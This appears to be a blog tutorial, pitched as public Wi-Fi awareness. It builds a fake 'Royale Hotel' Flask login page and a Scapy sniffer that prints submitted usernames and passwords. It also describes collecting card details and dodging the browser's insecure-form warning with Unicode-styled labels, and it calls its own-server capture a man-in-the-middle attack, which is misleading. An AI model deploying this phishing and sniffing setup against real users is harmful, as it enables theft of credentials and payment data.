Loading episodes…
0:00 0:00

How Hackers Steal Your Data on Public Wi-Fi (A Hands-On Guide)

00:00
BACK TO HOME

How Hackers Steal Your Data on Public Wi-Fi (A Hands-On Guide)

10xTeam January 24, 2026 8 min read

We connect to public Wi-Fi all the time. In hotels, coffee shops, and airports.

But have you ever wondered if it’s a smart thing to do, security-wise?

Today, we’ll see exactly why public Wi-Fi is a goldmine for hackers. We will design a Flask application and intercept its traffic with our own packet sniffer.

All you need is a computer and a phone connected to the same Wi-Fi network. In 15 minutes, you will be absolutely traumatized. You will never trust public Wi-Fi again.

The Man in the Middle

First, let’s talk about the software we’re going to build. Our packet sniffer is a man-in-the-middle attack.

It’s like a mailman who opens your letters, reads them, glues them back, and only then delivers them. You have no idea someone has access to your personal data. They’re secretly eavesdropping on your private conversations.

graph TD
    A[You on Public Wi-Fi] --> B{Hacker's Sniffer};
    B --> C[Internet];
    C --> B;
    B --> A;

Imagine staying in a nice hotel that offers free Wi-Fi. You can upgrade to a faster speed for only $2 per day.

It’s a common scenario. We pick a username, a password, and enter our credit card details. The payment is processed successfully.

But what if I told you that every single input was just snatched by a simple Python script? Someone on the same network can now go shopping at your expense.

Building the Trap: A Flask Login Page

Let’s build this whole system together, step by step. First, we’ll design a Wi-Fi login page named app.py.

We’ll start with the official Flask Quickstart code. Just make sure you add the if __name__ == "__main__" clause and import the request class.

Instead of “Hello World,” we’ll create a homepage with a few elements bundled in a multi-line string.

from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def home():
    content = """
    <h1>👑 Royale Hotel - Free Wi-Fi</h1>
    <form action="/login" method="post">
        <label for="username">Username:</label><br>
        <input type="text" id="username" name="username"><br>
        <label for="password">Password:</label><br>
        <input type="password" id="password" name="password"><br><br>
        <input type="submit" value="Log In">
    </form>
    """
    return content

if __name__ == '__main__':
    app.run(debug=True, port=5000)

This gives us a header, “Royale Hotel Free Wi-Fi,” and a form with three inputs:

  • A username input of type text.
  • A password input of type password.
  • A submit button with the value “Log In”.

Running the Application

Prepare to be shocked, because today we will run it on Windows. Since most malware targets Windows systems, we’ll design our packet sniffer accordingly.

  1. Open an Anaconda terminal.
  2. Create a new working environment: conda create -n sniffer_env python=3.12.
  3. Activate it: conda activate sniffer_env.
  4. Install Flask and the packet sniffing library, Scapy: pip install flask scapy.

Here’s our project structure:

packet-sniffer/
├── app.py
├── sniffer.py
└── ui.py

Navigate to the folder where app.py lives. Run the login page with python app.py.

In your browser, open localhost:5000. You’ll see our quick and ugly login page.

Handling Form Submissions

Right now, our form collects information but doesn’t know what to do with it. Let’s fix that.

We’ll give our form an action to send the information to /login. We’ll also give it a method of POST, which sends data quietly in the background.

Now, we need to catch that information in a new route.

--- a/app.py
+++ b/app.py
@@ -15,5 +15,12 @@
     """
     return content
 
+@app.route('/login', methods=['POST'])
+def login():
+    user = request.form.get('username')
+    return f"Successfully logged in as <b>{user}</b>"
+
 if __name__ == '__main__':
-    app.run(debug=True, port=5000)
+    app.run(host='0.0.0.0', port=80)

We define a new function login that fetches the username from the submitted form. Then, it returns a success message.

We also change the app.run command to set the host to 0.0.0.0. This exposes our app to any device on the network. We set the port to 80, the default HTTP port.

Save everything and rerun the app. Now, if you enter a username and password, you’ll see the success message.

Building the Sniffer

To intercept everything, we first need a packet capture driver called NPcap. Download it from the official website and follow the installation wizard.

Once installed, we can move on with coding. In a new file named sniffer.py, we’ll write our interception logic.

from scapy.all import sniff, Raw

def catch_packet(packet):
    if packet.haslayer(Raw):
        try:
            data = packet[Raw].load.decode('utf-8', errors='ignore')
            if len(data) > 10:
                print(data)
        except:
            pass

print("😈 Sniffer started on Wi-Fi...")
sniff(iface="Wi-Fi", filter="tcp port 80", prn=catch_packet, store=False)

Let’s break this down:

  • We define a function catch_packet that receives small chunks of data, or packets.
  • We filter for packets that have a Raw layer, meaning they contain readable text.
  • We decode the packet’s payload from binary bytes into actual text, ignoring errors.
  • We add a small filter to only print data longer than 10 characters to reduce noise.

Then, we call the sniff function with a few parameters:

  • iface="Wi-Fi": Sets the network interface to monitor.
  • filter="tcp port 80": We only care about traffic on our app’s port.
  • prn=catch_packet: Specifies the function to run for each captured packet.
  • store=False: We don’t store packets in RAM; we just print and forget.

That’s all we need to catch the username and password.

Launching the Attack

  1. Make sure your phone is connected to the same Wi-Fi network as your computer.
  2. Ensure app.py is running in a terminal.
  3. Find your computer’s IP address by typing ipconfig in PowerShell or Command Prompt (look for the IPv4 address).
  4. Open another terminal, activate the sniffer_env, and run python sniffer.py.
  5. On your phone’s browser, navigate to your computer’s IP address.

You should see the login page. Let’s make it prettier first. I’ve provided a ui.py file that you can import to style the page.

# At the top of app.py
from ui import stylish_ui

# In your routes, wrap the return value
return stylish_ui(content)

Refresh the page on your phone. Much better.

Now, let’s type a username and password into the form. Let’s say the username is Mariya and the password is PythonSimplified.

Hit submit. The sniffer’s console will explode with data. If you scroll up a bit, you’ll find the raw request data.

It includes not only the username and password we just entered but also the device type, language, and the time the submit button was pressed.

Making it More Malicious

Catching a username and password is a big deal, especially if you reuse them everywhere. A black hat could try these credentials on PayPal, Instagram, or Gmail.

[!TIP] Always use a dummy username for websites you don’t trust.

But what if the login page is even more malicious? Let’s run a different app, mal_app.py.

On the surface, it looks the same. But after entering dummy details, we’re presented with an option to upgrade our Wi-Fi for $2 per day.

This is the stuff of nightmares. Many hotels offer this, and the owners are rarely IT experts. They may not even realize someone can intercept this information.

Let’s run our sniffer again. Refresh the browser on the phone, enter login credentials, and then enter fake credit card details.

The payment is “processed.” Our Wi-Fi is “faster.” But we just gave our credit card information to a black hat who will absolutely abuse it.

How Is This Possible in 2026?

We have security measures built into our browsers. The problem is, if you’re creative, you can bypass them.

For example, in the credit card form, I used bold Unicode characters for “Credit Card Number” and “CVV.” If I had used regular text, the browser would have shown a scary “Connection is not secure” message. It’s a built-in red flag, but as you can see, it’s easily bypassed.

[!WARNING] The biggest red flag is something every user can see without looking at the code. Look at the URL. If you don’t see a lock icon or an HTTPS prefix, run for your life.

We all know this, but we don’t always check. From now on, do it every single time, for any input, no matter how legitimate the website looks.


Join the 10xdev Community

Subscribe and get 8+ free PDFs that contain detailed roadmaps with recommended learning periods for each programming language or field, along with links to free resources such as books, YouTube tutorials, and courses with certificates.

Audio Interrupted

We lost the audio stream. Retry with shorter sentences?